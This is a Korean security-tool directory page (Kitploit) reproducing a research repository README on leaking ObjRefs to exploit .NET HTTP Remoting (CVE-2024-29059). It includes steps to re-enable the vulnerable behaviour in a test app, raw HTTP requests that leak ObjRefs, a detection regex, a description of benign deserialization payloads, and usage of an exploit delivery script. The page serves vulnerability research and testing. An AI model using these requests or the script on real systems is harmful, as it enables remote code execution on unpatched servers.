Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HttpRemotingObjRefLeak — HTTP .NET Remoting (CVE-2024-29059)을 통한 ObjRefs 누출 및 악용을 위한 추가 리소스 | Kitploit
도구/GitHubGitHub/codewhitesec/httpremotingobjrefleak
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubcodewhitesec/httpremotingobjrefleak

HttpRemotingObjRefLeak

HTTP .NET Remoting (CVE-2024-29059)을 통한 ObjRefs 누출 및 악용을 위한 추가 리소스

저장소 보기
9214152년 전Kitploit 검토 완료
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HTTP .NET Remoting을 통한 ObjRef 유출 및 악용 (CVE-2024-29059)

이 저장소는 동일한 제목의 CODE WHITE 블로그 게시물 Leaking ObjRefs to Exploit HTTP .NET Remoting에 대한 추가 세부 정보 및 리소스를 제공합니다:

  1. 취약한 ASP.NET 웹 애플리케이션 만들기
  2. ObjRef 유출 탐지
  3. TypeFilterLevel.Low 제한 하에서 작동하는 예제 역직렬화 페이로드
  4. 페이로드 전달을 위한 익스플로잇 스크립트

1. 취약한 ASP.NET 웹 애플리케이션 만들기

다음은 Microsoft의 ASP.NET 웹 사이트에 Application Insights 구성을 기반으로 하며, Visual Studio 2019 (.NET Framework 4.5.2를 타겟팅하는 데 필요하며, https://aka.ms/vs/16/release/vs_community.exe에서 다운로드 가능) 및 Microsoft Application Insights를 사용하여 취약한 ASP.NET 웹 애플리케이션을 만드는 방법을 설명합니다:

  1. Visual Studio 2019를 엽니다.
  2. 파일 > 새로 만들기 > 프로젝트를 선택합니다.
  3. **ASP.NET 웹 애플리케이션(.NET Framework) C#**을 선택한 후 다음을 선택합니다.
  4. .NET Framework 4.5.2를 선택한 후 만들기를 선택합니다.
  • 비어 있음을 선택한 후 만들기를 선택합니다.
  • 프로젝트 > Application Insights 원격 분석 추가를 선택합니다.
  • **Application Insights SDK (로컬)**를 선택한 후 다음을 선택합니다.
  • NuGet 패키지를 체크한 후 마침을 클릭합니다.
  • 2024년 1월의 .NET Framework 업데이트가 설치된 경우, Web.config 파일을 열고 /configuration/appSettings 아래에 다음을 추가하여 취약한 동작을 다시 활성화합니다:

    root@kitploit:~
    <add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
    

    그런 다음 디버그 > 디버깅하지 않고 시작을 선택하거나 Ctrl+F5를 눌러 웹 애플리케이션을 실행할 수 있습니다.

    2. ObjRef 유출 탐지

    다음 요청을 사용하여 LogicalCallContext에 저장된 MarshalByRefObject 인스턴스의 ObjRef를 유출할 수 있습니다:

    • BinaryServerFormatterSink:

      root@kitploit:~
      GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
      __RequestVerb: POST
      Content-Type: application/octet-stream
      
    • SoapServerFormatterSink:

      root@kitploit:~
      GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
      __RequestVerb: POST
      Content-Type: text/xml
      

    유출된 ObjRef URI는 다음 정규식을 사용하여 매칭할 수 있습니다:

    root@kitploit:~
    /[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
    

    3. 예제 역직렬화 페이로드

    우리는 TypeFilterLevel.Low로 인한 제한 하에서 작동하는 사용자 정의 XAML 페이로드를 포함하는 YSoSerial.Net의 TextFormattingRunProperties 가젯을 기반으로 두 가지 간단한 역직렬화 페이로드를 만들었습니다. 다음을 수행합니다:

    • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
    • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

    HTTP 헤더는 서버의 HTTP .NET Remoting 요청에 대한 응답에서 관찰할 수 있습니다.

    4. 익스플로잇 스크립트

    RemoteApplicationMetadata.py 스크립트는 기존 ObjRef를 유출한 후 이를 후속 요청에서 사용하여 주어진 페이로드를 전달하는 방법을 제공합니다:

    root@kitploit:~
    usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
    
    positional arguments:
      url                   target URL (without `RemoteApplicationMetadata.rem`)
      file                  BinaryFormatter/SoapFormatter payload file (default: stdin)
    
    options:
      -h, --help            show this help message and exit
      -c, --chunked         use chunked Transfer-Encoding for request
      --chunk-range CHUNK_RANGE
                            range to pick the chunk size from randomly, e. g., 1-10
      -e, --encoding        apply a random non ASCII-based encoding on SOAP
      -f {binary,soap}, --format {binary,soap}
                            targeted runtime serializer format (default: soap)
      -u, --use-generic-uri
                            use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
      -v, --verbose         print verbose info
    

    예시:

    root@kitploit:~
    ./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
    
    도구 다운로드